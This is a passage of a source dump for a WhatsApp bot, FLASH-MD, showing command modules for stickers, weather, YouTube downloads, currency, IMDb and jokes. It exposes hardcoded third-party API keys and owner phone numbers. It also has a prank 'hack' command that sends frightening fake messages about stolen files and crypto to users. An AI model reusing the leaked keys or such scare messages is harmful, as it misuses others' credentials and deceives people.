'FLASH-MD', 384 | serverMessageId: -1 385 | } 386 | } 387 | }, { quoted: msg }); 388 | } 389 | } 390 | } 391 | ]; 392 | -------------------------------------------------------------------------------- /commands/Search.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const axios = require('axios'); 3 | const { Sticker, StickerTypes } = require('wa-sticker-formatter'); 4 | const yts = require('yt-search'); 5 | const BASE_URL = 'https://noobs-api.top'; 6 | 7 | module.exports = [ 8 | { 9 | name: 'attp', 10 | get flashOnly() { 11 | return franceking(); 12 | }, 13 | aliases: ['attp-sticker'], 14 | description: 'Converts text into an ATTP sticker.', 15 | category: 'User', 16 | execute: async (king, msg, args, fromJid) => { 17 | const text = args.join(" "); 18 | if (!text) return await king.sendMessage(fromJid, { text: 'Please provide the text to convert into a sticker!' }, { quoted: msg }); 19 | 20 | const gifUrl = `https://raganork-api.onrender.com/api/attp?text=${encodeURIComponent(text)}&apikey=with_love_souravkl11`; 21 | 22 | try { 23 | const packname = msg.pushName || 'FLASH-MD'; 24 | const stickerMess = new Sticker(gifUrl, { 25 | pack: packname, 26 | author: 'FLASH-MD', 27 | type: StickerTypes.FULL, 28 | categories: ['🤩', '🎉'], 29 | id: '12345', 30 | quality: 40, 31 | background: 'transparent', 32 | }); 33 | 34 | const stickerBuffer = await stickerMess.toBuffer(); 35 | await king.sendMessage(fromJid, { 36 | sticker: stickerBuffer, 37 | contextInfo: { 38 | forwardingScore: 1, 39 | isForwarded: true, 40 | forwardedNewsletterMessageInfo: { 41 | newsletterJid: '120363238139244263@newsletter', 42 | newsletterName: 'FLASH-MD', 43 | serverMessageId: -1 44 | } 45 | } 46 | }, { quoted: msg }); 47 | } catch { 48 | await king.sendMessage(fromJid, { 49 | text: 'Error while creating that sticker. Please try again.', 50 | contextInfo: { 51 | forwardingScore: 1, 52 | isForwarded: true, 53 | forwardedNewsletterMessageInfo: { 54 | newsletterJid: '120363238139244263@newsletter', 55 | newsletterName: 'FLASH-MD', 56 | serverMessageId: -1 57 | } 58 | } 59 | }, { quoted: msg }); 60 | } 61 | } 62 | }, 63 | { 64 | name: 'stickersearch', 65 | get flashOnly() { 66 | return franceking(); 67 | }, 68 | aliases: ['stsearch', 'stickerfind'], 69 | description: 'Search and create stickers from Tenor GIFs.', 70 | category: 'Search', 71 | execute: async (king, msg, args, fromJid) => { 72 | const search = args.join(' '); 73 | if (!search) return await king.sendMessage(fromJid, { 74 | text: 'Insert the type of stickers you want!', 75 | contextInfo: { 76 | forwardingScore: 1, 77 | isForwarded: true, 78 | forwardedNewsletterMessageInfo: { 79 | newsletterJid: '120363238139244263@newsletter', 80 | newsletterName: 'FLASH-MD', 81 | serverMessageId: -1 82 | } 83 | } 84 | }, { quoted: msg }); 85 | 86 | try { 87 | const res = await axios.get(`https://tenor.googleapis.com/v2/search?q=${encodeURIComponent(search)}&key=AIzaSyCyouca1_KKy4W_MG1xsPzuku5oa8W358c&client_key=my_project&limit=5&media_filter=gif`); 88 | const gifs = res.data.results; 89 | 90 | for (let gif of gifs) { 91 | const sticker = new Sticker(gif.media_formats.gif.url, { 92 | pack: msg.pushName || 'FLASH-MD', 93 | author: 'FLASH-MD', 94 | type: StickerTypes.FULL, 95 | quality: 60, 96 | background: 'transparent', 97 | }); 98 | 99 | const buffer = await sticker.toBuffer(); 100 | await king.sendMessage(fromJid, { 101 | sticker: buffer, 102 | contextInfo: { 103 | forwardingScore: 1, 104 | isForwarded: true, 105 | forwardedNewsletterMessageInfo: { 106 | newsletterJid: '120363238139244263@newsletter', 107 | newsletterName: 'FLASH-MD', 108 | serverMessageId: -1 109 | } 110 | } 111 | }, { quoted: msg }); 112 | } 113 | } catch { 114 | await king.sendMessage(fromJid, { 115 | text: 'Error searching for stickers.', 116 | contextInfo: { 117 | forwardingScore: 1, 118 | isForwarded: true, 119 | forwardedNewsletterMessageInfo: { 120 | newsletterJid: '120363238139244263@newsletter', 121 | newsletterName: 'FLASH-MD', 122 | serverMessageId: -1 123 | } 124 | } 125 | }, { quoted: msg }); 126 | } 127 | } 128 | }, 129 | { 130 | name: 'weather', 131 | get flashOnly() { 132 | return franceking(); 133 | }, 134 | aliases: ['climate'], 135 | description: 'Get the current weather for a specific location.', 136 | category: 'Search', 137 | execute: async (king, msg, args, fromJid) => { 138 | const location = args.join(' '); 139 | if (!location) return await king.sendMessage(fromJid, { 140 | text: 'Give me a location to check the weather.', 141 | contextInfo: { 142 | forwardingScore: 1, 143 | isForwarded: true, 144 | forwardedNewsletterMessageInfo: { 145 | newsletterJid: '120363238139244263@newsletter', 146 | newsletterName: 'FLASH-MD', 147 | serverMessageId: -1 148 | } 149 | } 150 | }, { quoted: msg }); 151 | 152 | try { 153 | const res = await axios.get(`https://api.openweathermap.org/data/2.5/weather`, { 154 | params: { 155 | q: location, 156 | units: 'metric', 157 | appid: '060a6bcfa19809c2cd4d97a212b19273', 158 | language: 'en' 159 | } 160 | }); 161 | 162 | const data = res.data; 163 | const sunrise = new Date(data.sys.sunrise * 1000).toLocaleTimeString(); 164 | const sunset = new Date(data.sys.sunset * 1000).toLocaleTimeString(); 165 | const rain = data.rain ? data.rain['1h'] : 0; 166 | 167 | const text = `❄️ *Weather in ${data.name}, ${data.sys.country}* 168 | 169 | 🌡️ Temperature: ${data.main.temp}°C (Feels like ${data.main.feels_like}°C) 170 | 📉 Min: ${data.main.temp_min}°C 📈 Max: ${data.main.temp_max}°C 171 | 📝 Condition: ${data.weather[0].description} 172 | 💧 Humidity: ${data.main.humidity}% 173 | 🌬️ Wind: ${data.wind.speed} m/s 174 | ☁️ Cloudiness: ${data.clouds.all}% 175 | 🌧️ Rain (last hour): ${rain} mm 176 | 🌄 Sunrise: ${sunrise} 177 | 🌅 Sunset: ${sunset} 178 | 🧭 Coordinates: ${data.coord.lat}, ${data.coord.lon} 179 | 180 | °Powered by FLASH-MD`; 181 | 182 | await king.sendMessage(fromJid, { 183 | text, 184 | contextInfo: { 185 | forwardingScore: 1, 186 | isForwarded: true, 187 | forwardedNewsletterMessageInfo: { 188 | newsletterJid: '120363238139244263@newsletter', 189 | newsletterName: 'FLASH-MD', 190 | serverMessageId: -1 191 | } 192 | } 193 | }, { quoted: msg }); 194 | } catch { 195 | await king.sendMessage(fromJid, { 196 | text: 'Failed to fetch weather data.', 197 | contextInfo: { 198 | forwardingScore: 1, 199 | isForwarded: true, 200 | forwardedNewsletterMessageInfo: { 201 | newsletterJid: '120363238139244263@newsletter', 202 | newsletterName: 'FLASH-MD', 203 | serverMessageId: -1 204 | } 205 | } 206 | }, { quoted: msg }); 207 | } 208 | } 209 | }, 210 | { 211 | name: 'yts', 212 | get flashOnly() { 213 | return franceking(); 214 | }, 215 | aliases: ['ytsearch'], 216 | description: 'Searches YouTube videos by keyword.', 217 | category: 'Search', 218 | execute: async (king, msg, args, fromJid) => { 219 | const query = args.join(' '); 220 | if (!query) return await king.sendMessage(fromJid, { 221 | text: 'What do you want to search for?', 222 | contextInfo: { 223 | forwardingScore: 1, 224 | isForwarded: true, 225 | forwardedNewsletterMessageInfo: { 226 | newsletterJid: '120363238139244263@newsletter', 227 | newsletterName: 'FLASH-MD', 228 | serverMessageId: -1 229 | } 230 | } 231 | }, { quoted: msg }); 232 | 233 | try { 234 | const info = await yts(query); 235 | const videos = info.videos.slice(0, 10); 236 | 237 | let text = `*YouTube Search Results for:* _${query}_\n\n`; 238 | for (let i = 0; i < videos.length; i++) { 239 | text += `*${i + 1}. ${videos[i].title}*\n`; 240 | text += `📺 Channel: ${videos[i].author.name}\n`; 241 | text += `⏱ Duration: ${videos[i].timestamp}\n`; 242 | text += `🔗 Link: ${videos[i].url}\n\n`; 243 | } 244 | 245 | await king.sendMessage(fromJid, { 246 | image: { url: videos[0].thumbnail }, 247 | caption: text + '*Powered by D*', 248 | contextInfo: { 249 | forwardingScore: 1, 250 | isForwarded: true, 251 | forwardedNewsletterMessageInfo: { 252 | newsletterJid: '120363238139244263@newsletter', 253 | newsletterName: 'FLASH-MD', 254 | serverMessageId: -1 255 | } 256 | } 257 | }, { quoted: msg }); 258 | } catch { 259 | await king.sendMessage(fromJid, { 260 | text: 'Error occurred while searching YouTube.', 261 | contextInfo: { 262 | forwardingScore: 1, 263 | isForwarded: true, 264 | forwardedNewsletterMessageInfo: { 265 | newsletterJid: '120363238139244263@newsletter', 266 | newsletterName: 'FLASH-MD', 267 | serverMessageId: -1 268 | } 269 | } 270 | }, { quoted: msg }); 271 | } 272 | } 273 | }, 274 | 275 | { 276 | name: 'ytmp3', 277 | get flashOnly() { 278 | return franceking(); 279 | }, 280 | aliases: ['mp3'], 281 | description: 'Search and play MP3 music from YouTube (audio only).', 282 | category: 'Search', 283 | execute: async (king, msg, args) => { 284 | const fromJid = msg.key.remoteJid; 285 | const query = args.join(' '); 286 | 287 | if (!query) { 288 | return king.sendMessage(fromJid, { 289 | text: 'Please provide a song name or YouTube Link.' 290 | }, { quoted: msg }); 291 | } 292 | 293 | try { 294 | const search = await yts(query); 295 | const video = search.videos[0]; 296 | 297 | if (!video) { 298 | return king.sendMessage(fromJid, { 299 | text: 'No results found for your query.' 300 | }, { quoted: msg }); 301 | } 302 | 303 | const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); 304 | const fileName = `${safeTitle}.mp3`; 305 | const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp3`; 306 | 307 | const response = await axios.get(apiURL); 308 | const data = response.data; 309 | 310 | if (!data.downloadLink) { 311 | return king.sendMessage(fromJid, { 312 | text: 'Failed to retrieve the MP3 download link.' 313 | }, { quoted: msg }); 314 | } 315 | 316 | await king.sendMessage(fromJid, { 317 | audio: { url: data.downloadLink }, 318 | mimetype: 'audio/mpeg', 319 | fileName, 320 | contextInfo: { 321 | forwardingScore: 1, 322 | isForwarded: true, 323 | forwardedNewsletterMessageInfo: { 324 | newsletterJid: '120363238139244263@newsletter', 325 | newsletterName: 'FLASH-MD', 326 | serverMessageId: -1 327 | } 328 | }, 329 | caption: 'FLASH-MD V2' 330 | }, { quoted: msg }); 331 | 332 | } catch (err) { 333 | console.error('[PLAY] Error:', err); 334 | await king.sendMessage(fromJid, { 335 | text: 'An error occurred while processing your request.' 336 | }, { quoted: msg }); 337 | } 338 | } 339 | }, 340 | 341 | { 342 | name: 'ytmp4', 343 | get flashOnly() { 344 | return franceking(); 345 | }, 346 | aliases: ['ytv', 'ytvideo'], 347 | description: 'Downloads a YouTube video.', 348 | category: 'Download', 349 | execute: async (king, msg, args) => { 350 | const fromJid = msg.key.remoteJid; 351 | const query = args.join(' '); 352 | if (!query) { 353 | return king.sendMessage(fromJid, { 354 | text: 'Please provide a video name or YouTube URL.' 355 | }, { quoted: msg }); 356 | } 357 | 358 | try { 359 | const search = await yts(query); 360 | const video = search.videos[0]; 361 | 362 | if (!video) { 363 | return king.sendMessage(fromJid, { 364 | text: 'No results found.' 365 | }, { quoted: msg }); 366 | } 367 | 368 | const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); 369 | const fileName = `${safeTitle}.mp4`; 370 | const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp4`; 371 | const response = await axios.get(apiURL); 372 | const data = response.data; 373 | 374 | if (!data.downloadLink) { 375 | return king.sendMessage(fromJid, { 376 | text: 'Failed to retrieve the MP4 download link.' 377 | }, { quoted: msg }); 378 | } 379 | 380 | await king.sendMessage(fromJid, { 381 | video: { url: data.downloadLink }, 382 | mimetype: 'video/mp4', 383 | fileName, 384 | caption: '*FLASH-MD V2 - MP4*', 385 | contextInfo: { 386 | forwardingScore: 1, 387 | isForwarded: true, 388 | forwardedNewsletterMessageInfo: { 389 | newsletterJid: '120363238139244263@newsletter', 390 | newsletterName: 'FLASH-MD', 391 | serverMessageId: -1 392 | } 393 | } 394 | }, { quoted: msg }); 395 | 396 | } catch (err) { 397 | console.error('[YTMP4 ERROR]', err); 398 | await king.sendMessage(fromJid, { 399 | text: 'An error occurred while downloading MP4.' 400 | }, { quoted: msg }); 401 | } 402 | } 403 | } 404 | ]; 405 | -------------------------------------------------------------------------------- /commands/Fun.js: -------------------------------------------------------------------------------- 1 | 2 | const { axios } = require('axios'); 3 | const { Sticker, StickerTypes } = require('wa-sticker-formatter'); 4 | const { franceking } = require('../main'); 5 | 6 | module.exports = [ 7 | { 8 | name: 'exchange', 9 | aliases: ['rate', 'rates'], 10 | category: 'Finance', 11 | description: 'Convert currency using live exchange rate', 12 | 13 | get flashOnly() { 14 | return franceking(); 15 | }, 16 | 17 | execute: async (king, msg, args, fromJid) => { 18 | if (args.length < 3) { 19 | return king.sendMessage(fromJid, { 20 | text: 'Please provide the amount, from currency, and to currency.\n\nExample: *.exchange 100 usd kes*' 21 | }, { quoted: msg }); 22 | } 23 | 24 | const [amountRaw, fromCurrency, toCurrency] = args; 25 | const amount = parseFloat(amountRaw); 26 | 27 | if (isNaN(amount)) { 28 | return king.sendMessage(fromJid, { 29 | text: 'Invalid amount. Please enter a valid number.' 30 | }, { quoted: msg }); 31 | } 32 | 33 | try { 34 | const response = await axios.get(`https://api.exchangerate-api.com/v4/latest/${fromCurrency.toUpperCase()}`); 35 | const rates = response.data.rates; 36 | 37 | if (!rates[toCurrency.toUpperCase()]) { 38 | return king.sendMessage(fromJid, { 39 | text: 'Currency conversion rate not available.' 40 | }, { quoted: msg }); 41 | } 42 | 43 | const convertedAmount = (amount * rates[toCurrency.toUpperCase()]).toFixed(2); 44 | 45 | return king.sendMessage(fromJid, { 46 | text: `${amount} ${fromCurrency.toUpperCase()} = ${convertedAmount} ${toCurrency.toUpperCase()}` 47 | }, { quoted: msg }); 48 | 49 | } catch (error) { 50 | return king.sendMessage(fromJid, { 51 | text: '❌ An error occurred while converting currency. Please try again later.' 52 | }, { quoted: msg }); 53 | } 54 | } 55 | }, 56 | { 57 | name: 'currency', 58 | description: 'Converts one currency to another using live exchange rates', 59 | category: 'Finance', 60 | 61 | get flashOnly() { 62 | return franceking(); 63 | }, 64 | 65 | execute: async (king, msg, args, fromJid) => { 66 | if (!args[0] || args.length < 3) { 67 | return king.sendMessage(fromJid, { 68 | text: "Please provide the amount, from currency, and to currency. Example: *.currency 100 usd kes*" 69 | }, { quoted: msg }); 70 | } 71 | 72 | const [amountRaw, fromCurrency, toCurrency] = args; 73 | const amount = parseFloat(amountRaw); 74 | 75 | if (isNaN(amount)) { 76 | return king.sendMessage(fromJid, { 77 | text: "Invalid amount. Please provide a number. Example: *.currency 50 eur usd*" 78 | }, { quoted: msg }); 79 | } 80 | 81 | try { 82 | const response = await axios.get(`https://api.exchangerate-api.com/v4/latest/${fromCurrency.toUpperCase()}`); 83 | const data = response.data; 84 | const rates = data.rates; 85 | 86 | if (!rates[toCurrency.toUpperCase()]) { 87 | return king.sendMessage(fromJid, { 88 | text: `Invalid target currency *${toCurrency.toUpperCase()}*. Use *.currencyinfo* to view supported currencies.` 89 | }, { quoted: msg }); 90 | } 91 | 92 | const convertedAmount = (amount * rates[toCurrency.toUpperCase()]).toFixed(2); 93 | const updateDate = new Date(data.time_last_updated * 1000); 94 | 95 | let info = `*💱 Currency Conversion 💱*\n\n`; 96 | info += `🌍 Base: ${data.base}\n`; 97 | info += `🔄 Updated: ${updateDate.toLocaleDateString()} - ${updateDate.toLocaleTimeString()}\n\n`; 98 | info += `💵 ${amount} ${fromCurrency.toUpperCase()} = ${convertedAmount} ${toCurrency.toUpperCase()}\n`; 99 | info += `💸 Rate: 1 ${fromCurrency.toUpperCase()} = ${rates[toCurrency.toUpperCase()]} ${toCurrency.toUpperCase()}`; 100 | 101 | await king.sendMessage(fromJid, { text: info }, { quoted: msg }); 102 | 103 | } catch (error) { 104 | await king.sendMessage(fromJid, { 105 | text: "❌ An error occurred while converting currency.\nMake sure your currency codes are valid.\nUse *.currencyinfo* to see all supported currencies." 106 | }, { quoted: msg }); 107 | } 108 | } 109 | }, 110 | { 111 | name: 'imdb', 112 | aliases: ['movie', 'film'], 113 | description: 'Search for a movie or series using IMDb API', 114 | category: 'Search', 115 | 116 | get flashOnly() { 117 | return franceking(); 118 | }, 119 | 120 | execute: async (king, msg, args, fromJid) => { 121 | if (!args[0]) { 122 | return king.sendMessage(fromJid, { 123 | text: '🎬 Provide the name of a movie or series. Example: *.imdb Inception*' 124 | }, { quoted: msg }); 125 | } 126 | 127 | const query = args.join(" "); 128 | try { 129 | const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${encodeURIComponent(query)}&plot=full`); 130 | const imdb = response.data; 131 | 132 | if (imdb.Response === 'False') { 133 | return king.sendMessage(fromJid, { 134 | text: `❌ Could not find results for "${query}".` 135 | }, { quoted: msg }); 136 | } 137 | 138 | let info = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n"; 139 | info += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n"; 140 | info += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n"; 141 | info += `🎬 Title: ${imdb.Title}\n`; 142 | info += `📅 Year: ${imdb.Year}\n`; 143 | info += `⭐ Rated: ${imdb.Rated}\n`; 144 | info += `📆 Release: ${imdb.Released}\n`; 145 | info += `⏳ Runtime: ${imdb.Runtime}\n`; 146 | info += `🌀 Genre: ${imdb.Genre}\n`; 147 | info += `👨🏻‍💻 Director: ${imdb.Director}\n`; 148 | info += `✍ Writers: ${imdb.Writer}\n`; 149 | info += `👨 Actors: ${imdb.Actors}\n`; 150 | info += `📃 Synopsis: ${imdb.Plot}\n`; 151 | info += `🌐 Language: ${imdb.Language}\n`; 152 | info += `🌍 Country: ${imdb.Country}\n`; 153 | info += `🎖️ Awards: ${imdb.Awards}\n`; 154 | info += `📦 Box Office: ${imdb.BoxOffice}\n`; 155 | info += `🏙️ Production: ${imdb.Production}\n`; 156 | info += `🌟 IMDb Rating: ${imdb.imdbRating}\n`; 157 | info += `❎ IMDb Votes: ${imdb.imdbVotes}\n`; 158 | info += `🎥 Watch Online: https://www.google.com/search?q=watch+${encodeURIComponent(imdb.Title)}+online\n`; 159 | 160 | await king.sendMessage(fromJid, { 161 | image: { url: imdb.Poster }, 162 | caption: info 163 | }, { quoted: msg }); 164 | 165 | } catch (error) { 166 | return king.sendMessage(fromJid, { 167 | text: "❌ An error occurred while searching IMDb." 168 | }, { quoted: msg }); 169 | } 170 | } 171 | }, 172 | { 173 | name: 'emomix', 174 | aliases: ['emojimix'], 175 | category: 'Converter', 176 | description: 'Mixes two emojis into one sticker', 177 | 178 | get flashOnly() { 179 | return franceking(); 180 | }, 181 | 182 | execute: async (king, msg, args, fromJid) => { 183 | if (!args[0] || args.length !== 1) { 184 | return king.sendMessage(fromJid, { 185 | text: "Incorrect use. Example: *.emomix 😀;🥰*" 186 | }, { quoted: msg }); 187 | } 188 | 189 | const emojis = args.join(' ').split(';'); 190 | if (emojis.length !== 2) { 191 | return king.sendMessage(fromJid, { 192 | text: "Please specify two emojis using a `;` separator." 193 | }, { quoted: msg }); 194 | } 195 | 196 | const emoji1 = emojis[0].trim(); 197 | const emoji2 = emojis[1].trim(); 198 | 199 | try { 200 | const response = await axios.get(`https://levanter.onrender.com/emix?q=${emoji1}${emoji2}`); 201 | 202 | if (response.data?.status) { 203 | const stickerMess = new Sticker(response.data.result, { 204 | pack: 'FLASH-MD', 205 | type: StickerTypes.CROPPED, 206 | categories: ['🤩', '🎉'], 207 | id: '12345', 208 | quality: 70, 209 | background: 'transparent' 210 | }); 211 | 212 | const buffer = await stickerMess.toBuffer(); 213 | await king.sendMessage(fromJid, { 214 | sticker: buffer 215 | }, { quoted: msg }); 216 | 217 | } else { 218 | return king.sendMessage(fromJid, { 219 | text: 'Unable to create emoji mix.' 220 | }, { quoted: msg }); 221 | } 222 | 223 | } catch (err) { 224 | return king.sendMessage(fromJid, { 225 | text: 'An error occurred while creating the emoji mix: ' + err.message 226 | }, { quoted: msg }); 227 | } 228 | } 229 | }, 230 | { 231 | name: 'hack', 232 | aliases: ['fakehack', 'h4ck'], 233 | description: 'Fake hack for fun 😈', 234 | category: 'Fun', 235 | 236 | get flashOnly() { 237 | return franceking(); 238 | }, 239 | 240 | execute: async (king, msg, args, fromJid) => { 241 | const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); 242 | 243 | const creatorNumbers = ['254757835036', '254742063632']; 244 | const senderNumber = fromJid.replace(/[^0-9]/g, ''); 245 | 246 | if (creatorNumbers.includes(senderNumber)) { 247 | return king.sendMessage(fromJid, { 248 | text: '🛑 No way, I can\'t hack my creator 🤝🐐' 249 | }, { quoted: msg }); 250 | } 251 | 252 | const randomIP = () => `${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`; 253 | const fakeFiles = ['passwords.txt', 'bank_logins.csv', 'nudes.zip', 'crypto_keys.txt', 'facebook_tokens.json']; 254 | const randomDevice = [ 255 | 'Samsung Galaxy A52', 'Tecno Spark 10', 'Infinix Hot 30', 256 | 'Huawei Y9 Prime', 'iTel S23+', 'Xiaomi Redmi Note 11', 257 | 'Nokia G21', 'Oppo A58', 'Realme C35', 'Vivo Y33s', 258 | 'OnePlus Nord N20', 'HTC U20', 'Motorola G Stylus', 'Sony Xperia 10' 259 | ]; 260 | 261 | const progressSteps = [ 262 | `[▓░░░░░░░░░] 10%`, 263 | `[▓▓░░░░░░░░] 20%`, 264 | `[▓▓▓░░░░░░░] 30%`, 265 | `[▓▓▓▓░░░░░░] 40%`, 266 | `[▓▓▓▓▓░░░░░] 50%`, 267 | `[▓▓▓▓▓▓░░░░] 60%`, 268 | `[▓▓▓▓▓▓▓░░░] 70%`, 269 | `[▓▓▓▓▓▓▓▓░░] 80%`, 270 | `[▓▓▓▓▓▓▓▓▓░] 90%`, 271 | `[▓▓▓▓▓▓▓▓▓▓] 100%` 272 | ]; 273 | 274 | const messages = [ 275 | `🔌 Connecting to device: ${randomDevice[Math.floor(Math.random() * randomDevice.length)]}`, 276 | `🌐 IP Address: ${randomIP()}`, 277 | `📡 Signal strength: ▓▓▓▓▓▓▓▓▓▒ 95%`, 278 | `🧬 Accessing personal files...`, 279 | `📂 File found: *${fakeFiles[Math.floor(Math.random() * fakeFiles.length)]}*`, 280 | `📂 File found: *${fakeFiles[Math.floor(Math.random() * fakeFiles.length)]}*`, 281 | `🧾 Reading browser history...`, 282 | `🔍 Found suspicious activity on dark web...`, 283 | `💸 Linked bank accounts detected...`, 284 | `🚨 Transferring ₿ crypto assets...`, 285 | `🧪 Injecting malware into WhatsApp backup...`, 286 | `💾 Download complete.`, 287 | `🧹 Deleting traces...`, 288 | `💀 Hack complete. Target is now under our control.`, 289 | `🛑 *Warning:* This hack has triggered a report to Interpol. Good luck 😈` 290 | ]; 291 | 292 | const progressMsg = await king.sendMessage(fromJid, { 293 | text: `💻 Hacking progress:\n${progressSteps[0]}` 294 | }, { quoted: msg }); 295 | 296 | for (let i = 1; i < progressSteps.length; i++) { 297 | await sleep(1000); 298 | await king.relayMessage( 299 | fromJid, 300 | { 301 | protocolMessage: { 302 | key: progressMsg.key, 303 | type: 14, 304 | editedMessage: { 305 | conversation: `💻 Hacking progress:\n${progressSteps[i]}` 306 | } 307 | } 308 | }, 309 | {} 310 | ); 311 | } 312 | 313 | for (const line of messages) { 314 | await sleep(1500); 315 | await king.sendMessage(fromJid, { 316 | text: line 317 | }, { quoted: msg }); 318 | } 319 | } 320 | }, 321 | { 322 | name: 'love', 323 | aliases: ['compatibility', 'lovetest'], 324 | description: 'Calculate love compatibility between two people ❤️', 325 | category: 'Fun', 326 | 327 | get flashOnly() { 328 | return franceking(); 329 | }, 330 | 331 | execute: async (king, msg, args, fromJid) => { 332 | const senderName = msg.pushName || 'User'; 333 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.participant; 334 | const quotedName = msg.message?.extendedTextMessage?.contextInfo?.participant || ''; 335 | let user1 = senderName; 336 | let user2 = ''; 337 | 338 | if (msg.message?.extendedTextMessage?.contextInfo?.quotedMessage) { 339 | user2 = quotedName.replace(/@s\.whatsapp\.net$/, ''); 340 | } else if (args.length > 0) { 341 | user2 = args.join(' '); 342 | } else { 343 | return king.sendMessage(fromJid, { 344 | text: 'Please mention someone or reply to their message. Example: *.love @Marie*' 345 | }, { quoted: msg }); 346 | } 347 | 348 | const percentage = Math.floor(Math.random() * 101); 349 | let emoji = '❤️'; 350 | if (percentage < 25) emoji = '💔'; 351 | else if (percentage < 50) emoji = '🤔'; 352 | else if (percentage < 75) emoji = '😊'; 353 | else emoji = '💖'; 354 | 355 | const response = `--- Compatibility Test ---\n\n` + 356 | `❤️ Person 1: *${user1}*\n` + 357 | `❤️ Person 2: *${user2}*\n\n` + 358 | `Their compatibility is: *${percentage}%* ${emoji}`; 359 | 360 | await king.sendMessage(fromJid, { text: response }, { quoted: msg }); 361 | } 362 | }, 363 | { 364 | name: 'flip', 365 | aliases: ['coin', 'toss'], 366 | description: 'Toss a coin and get HEADS or TAILS 🪙', 367 | category: 'Fun', 368 | 369 | get flashOnly() { 370 | return franceking(); 371 | }, 372 | 373 | execute: async (king, msg, args, fromJid) => { 374 | const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); 375 | 376 | const coinMsg = await king.sendMessage(fromJid, { 377 | text: '🪙 Tossing the coin in the air...' 378 | }, { quoted: msg }); 379 | 380 | await sleep(1000); 381 | 382 | await king.relayMessage( 383 | fromJid, 384 | { 385 | protocolMessage: { 386 | key: coinMsg.key, 387 | type: 14, 388 | editedMessage: { 389 | conversation: '🌀 The coin is spinning... spinning...' 390 | } 391 | } 392 | }, 393 | {} 394 | ); 395 | 396 | await sleep(1500); 397 | 398 | const result = Math.random() < 0.5 ? 'HEADS' : 'TAILS'; 399 | 400 | const finalText = `🪙 The coin has landed!\n\nResult: It's *${result}*!`; 401 | 402 | await king.relayMessage( 403 | fromJid, 404 | { 405 | protocolMessage: { 406 | key: coinMsg.key, 407 | type: 14, 408 | editedMessage: { 409 | conversation: finalText 410 | } 411 | } 412 | }, 413 | {} 414 | ); 415 | } 416 | } ]; 417 | -------------------------------------------------------------------------------- /commands/Fancy.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | 3 | const fancyStyles = { 4 | 0:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๖","c":"¢","d":"໓","e":"ē","f":"f","g":"ງ","h":"h","i":"i","j":"ว","k":"k","l":"l","m":"๓","n":"ຖ","o":"໐","p":"p","q":"๑","r":"r","s":"Ş","t":"t","u":"น","v":"ง","w":"ຟ","x":"x","y":"ฯ","z":"ຊ","A":"ค","B":"๖","C":"¢","D":"໓","E":"ē","F":"f","G":"ງ","H":"h","I":"i","J":"ว","K":"k","L":"l","M":"๓","N":"ຖ","O":"໐","P":"p","Q":"๑","R":"r","S":"Ş","T":"t","U":"น","V":"ง","W":"ຟ","X":"x","Y":"ฯ","Z":"ຊ" }, 5 | 1:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ą","b":"ც","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɠ","h":"ɧ","i":"ı","j":"ʝ","k":"ƙ","l":"Ɩ","m":"ɱ","n":"ŋ","o":"ơ","p":"℘","q":"զ","r":"ཞ","s":"ʂ","t":"ɬ","u":"ų","v":"۷","w":"ῳ","x":"ҳ","y":"ყ","z":"ʑ","A":"ą","B":"ც","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɠ","H":"ɧ","I":"ı","J":"ʝ","K":"ƙ","L":"Ɩ","M":"ɱ","N":"ŋ","O":"ơ","P":"℘","Q":"զ","R":"ཞ","S":"ʂ","T":"ɬ","U":"ų","V":"۷","W":"ῳ","X":"ҳ","Y":"ყ","Z":"ʑ" }, 6 | 2:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ム","b":"乃","c":"ᄃ","d":"り","e":"乇","f":"キ","g":"ム","h":"ん","i":"ノ","j":"フ","k":"ズ","l":"レ","m":"ᄊ","n":"刀","o":"の","p":"ア","q":"ゐ","r":"尺","s":"丂","t":"イ","u":"ひ","v":"√","w":"W","x":"メ","y":"リ","z":"乙","A":"ム","B":"乃","C":"ᄃ","D":"り","E":"乇","F":"キ","G":"ム","H":"ん","I":"ノ","J":"フ","K":"ズ","L":"レ","M":"ᄊ","N":"刀","O":"の","P":"ア","Q":"ゐ","R":"尺","S":"丂","T":"イ","U":"ひ","V":"√","W":"W","X":"メ","Y":"リ","Z":"乙" }, 7 | 3:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"卂","b":"乃","c":"匚","d":"ᗪ","e":"乇","f":"千","g":"Ꮆ","h":"卄","i":"丨","j":"フ","k":"Ҝ","l":"ㄥ","m":"爪","n":"几","o":"ㄖ","p":"卩","q":"Ɋ","r":"尺","s":"丂","t":"ㄒ","u":"ㄩ","v":"ᐯ","w":"山","x":"乂","y":"ㄚ","z":"乙","A":"卂","B":"乃","C":"匚","D":"ᗪ","E":"乇","F":"千","G":"Ꮆ","H":"卄","I":"丨","J":"フ","K":"Ҝ","L":"ㄥ","M":"爪","N":"几","O":"ㄖ","P":"卩","Q":"Ɋ","R":"尺","S":"丂","T":"ㄒ","U":"ㄩ","V":"ᐯ","W":"山","X":"乂","Y":"ㄚ","Z":"乙" }, 8 | 